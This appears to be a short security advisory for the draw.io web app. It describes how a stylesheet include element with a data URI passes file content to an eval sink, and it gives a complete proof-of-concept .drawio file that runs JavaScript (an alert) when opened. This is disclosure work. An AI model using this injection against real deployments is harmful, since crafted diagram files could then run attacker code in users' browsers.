Diagram files can contain stylesheets which basically consist of key value pairs that influence the appearance of digram elements.
When adding a stylesheet (mxStylesheet
element) it is possible to execute JavaScript code when used in combination with the internal include
element.
Usually this would not be possible, because text content in stylesheets or its child elements would lead to an error when they are decoded in the application.
By using the include
element and a data URI, this limitation can be bypassed.
Adding a two element structure of nested add
elements with the payload as the text content of the inner element allows executing any JavaScript code.
The text content of the inner element is passed to an eval
sink, which is enabled for mxStylesheet
elements.
Save the following structure as .drawio
file and open it in the web app:
<mxfile>
<diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1">
<mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0">
<mxStylesheet><include name="data:,<mxStylesheet><add as="test" value="y"><add as="x" value="x">alert()</add></add></mxStylesheet>" /></mxStylesheet>
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
</root>
</mxGraphModel>
</diagram>
</mxfile>
The JavaScript alert
function will be executed.
Note: The desktop application is not affected. The deployment on app.diagrams.net is also not affected because it uses a custom CSP.